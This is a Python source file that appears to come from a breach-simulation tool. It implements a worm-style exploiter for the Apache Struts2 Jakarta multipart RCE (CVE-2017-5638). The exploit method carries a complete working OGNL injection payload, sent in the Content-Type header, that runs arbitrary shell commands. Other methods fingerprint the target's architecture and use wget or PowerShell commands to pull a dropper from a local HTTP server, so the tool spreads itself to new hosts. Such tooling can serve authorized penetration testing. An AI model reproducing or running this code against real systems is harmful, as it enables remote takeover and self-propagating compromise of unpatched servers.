""" Implementation is based on Struts2 jakarta multiparser RCE exploit ( CVE-2017-5638 ) code used is from https://www.exploit-db.com/exploits/41570/ Vulnerable struts2 versions <=2.3.31 and <=2.5.10 """ import urllib2 import httplib import unicodedata import re import logging from exploit import HostExploiter from exploit.tools import get_target_monkey, get_monkey_depth from tools import build_monkey_commandline, HTTPTools from model import CHECK_LINUX, CHECK_WINDOWS, POWERSHELL_HTTP, WGET_HTTP, EXISTS, ID_STRING, RDP_CMDLINE_HTTP, \ DROPPER_ARG __author__ = "VakarisZ" LOG = logging.getLogger(__name__) DOWNLOAD_TIMEOUT = 300 class Struts2Exploiter(HostExploiter): _TARGET_OS_TYPE = ['linux', 'windows'] def __init__(self, host): super(Struts2Exploiter, self).__init__(host) self._config = __import__('config').WormConfiguration self.skip_exist = self._config.skip_exploit_if_file_exist self.HTTP = [str(port) for port in self._config.HTTP_PORTS] def exploit_host(self): dropper_path_linux = self._config.dropper_target_path_linux dropper_path_win_32 = self._config.dropper_target_path_win_32 dropper_path_win_64 = self._config.dropper_target_path_win_64 ports = self.get_exploitable_ports(self.host, self.HTTP, ["http"]) if not ports: LOG.info("All web ports are closed on %r, skipping", self.host) return False for port in ports: if port[1]: current_host = "https://%s:%s" % (self.host.ip_addr, port[0]) else: current_host = "http://%s:%s" % (self.host.ip_addr, port[0]) # Get full URL url = self.get_redirected(current_host) LOG.info("Trying to exploit with struts2") # Check if host is vulnerable and get host os architecture if 'linux' in self.host.os['type']: return self.exploit_linux(url, dropper_path_linux) else: return self.exploit_windows(url, [dropper_path_win_32, dropper_path_win_64]) def check_remote_file(self, host, path): command = EXISTS % path resp = self.exploit(host, command) if 'No such file' in resp: return False else: LOG.info("Host %s was already infected under the current configuration, done" % self.host) return True def exploit_linux(self, url, dropper_path): host_arch = Struts2Exploiter.check_exploit_linux(url) if host_arch: self.host.os['machine'] = host_arch if url and host_arch: LOG.info("Host is exploitable with struts2 RCE vulnerability") # If monkey already exists and option not to exploit in that case is selected if self.skip_exist and self.check_remote_file(url, dropper_path): LOG.info("Host %s was already infected under the current configuration, done" % self.host) return True src_path = get_target_monkey(self.host) if not src_path: LOG.info("Can't find suitable monkey executable for host %r", self.host) return False # create server for http download. http_path, http_thread = HTTPTools.create_transfer(self.host, src_path) if not http_path: LOG.debug("Exploiter Struts2 failed, http transfer creation failed.") return False LOG.info("Started http server on %s", http_path) cmdline = build_monkey_commandline(self.host, get_monkey_depth() - 1, dropper_path) command = WGET_HTTP % {'monkey_path': dropper_path, 'http_path': http_path, 'parameters': cmdline} self.exploit(url, command) http_thread.join(DOWNLOAD_TIMEOUT) http_thread.stop() LOG.info("Struts2 exploit attempt finished") return True return False def exploit_windows(self, url, dropper_paths): """ :param url: Where to send malicious request :param dropper_paths: [0]-monkey-windows-32.bat, [1]-monkey-windows-64.bat :return: Bool. Successfully exploited or not """ host_arch = Struts2Exploiter.check_exploit_windows(url) if host_arch: self.host.os['machine'] = host_arch if url and host_arch: LOG.info("Host is exploitable with struts2 RCE vulnerability") # If monkey already exists and option not to exploit in that case is selected if self.skip_exist: for dropper_path in dropper_paths: if self.check_remote_file(url, re.sub(r"\\", r"\\\\", dropper_path)): LOG.info("Host %s was already infected under the current configuration, done" % self.host) return True src_path = get_target_monkey(self.host) if not src_path: LOG.info("Can't find suitable monkey executable for host %r", self.host) return False # Select the dir and name for monkey on the host if "windows-32" in src_path: dropper_path = dropper_paths[0] else: dropper_path = dropper_paths[1] # create server for http download. http_path, http_thread = HTTPTools.create_transfer(self.host, src_path) if not http_path: LOG.debug("Exploiter Struts2 failed, http transfer creation failed.") return False LOG.info("Started http server on %s", http_path) # We need to double escape backslashes. Once for payload, twice for command cmdline = re.sub(r"\\", r"\\\\", build_monkey_commandline(self.host, get_monkey_depth() - 1, dropper_path)) command = POWERSHELL_HTTP % {'monkey_path': re.sub(r"\\", r"\\\\", dropper_path), 'http_path': http_path, 'parameters': cmdline} backup_command = RDP_CMDLINE_HTTP % {'monkey_path': re.sub(r"\\", r"\\\\", dropper_path), 'http_path': http_path, 'parameters': cmdline, 'type': DROPPER_ARG} resp = self.exploit(url, command) if 'powershell is not recognized' in resp: self.exploit(url, backup_command) http_thread.join(DOWNLOAD_TIMEOUT) http_thread.stop() LOG.info("Struts2 exploit attempt finished") return True return False @staticmethod def check_exploit_windows(url): resp = Struts2Exploiter.exploit(url, CHECK_WINDOWS) if resp and ID_STRING in resp: if "64-bit" in resp: return "64" else: return "32" else: return False @staticmethod def check_exploit_linux(url): resp = Struts2Exploiter.exploit(url, CHECK_LINUX) if resp and ID_STRING in resp: # Pulls architecture string arch = re.search('(?<=Architecture:)\s+(\w+)', resp) arch = arch.group(1) return arch else: return False @staticmethod def get_redirected(url): # Returns false if url is not right headers = {'User-Agent': 'Mozilla/5.0'} request = urllib2.Request(url, headers=headers) try: return urllib2.urlopen(request).geturl() except urllib2.URLError: LOG.error("Can't reach struts2 server") return False @staticmethod def exploit(url, cmd): """ :param url: Full url to send request to :param cmd: Code to try and execute on host :return: response """ payload = "%%{(#_='multipart/form-data')." \ "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)." \ "(#_memberAccess?" \ "(#_memberAccess=#dm):" \ "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])." \ "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))." \ "(#ognlUtil.getExcludedPackageNames().clear())." \ "(#ognlUtil.getExcludedClasses().clear())." \ "(#context.setMemberAccess(#dm))))." \ "(#cmd='%s')." \ "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))." \ "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))." \ "(#p=new java.lang.ProcessBuilder(#cmds))." \ "(#p.redirectErrorStream(true)).(#process=#p.start())." \ "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))." \ "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))." \ "(#ros.flush())}" % cmd # Turns payload ascii just for consistency if isinstance(payload, unicode): payload = unicodedata.normalize('NFKD', payload).encode('ascii', 'ignore') headers = {'User-Agent': 'Mozilla/5.0', 'Content-Type': payload} try: request = urllib2.Request(url, headers=headers) # Timeout added or else we would wait for all monkeys' output page = urllib2.urlopen(request).read() except AttributeError: # If url does not exist return False except httplib.IncompleteRead as e: page = e.partial return page @staticmethod def get_exploitable_ports(host, port_list, names): candidate_services = {} for name in names: chosen_services = { service: host.services[service] for service in host.services if ('name' in host.services[service]) and (host.services[service]['name'] == name) } candidate_services.update(chosen_services) valid_ports = [(port, candidate_services['tcp-' + str(port)]['data'][1]) for port in port_list if 'tcp-' + str(port) in candidate_services] return valid_ports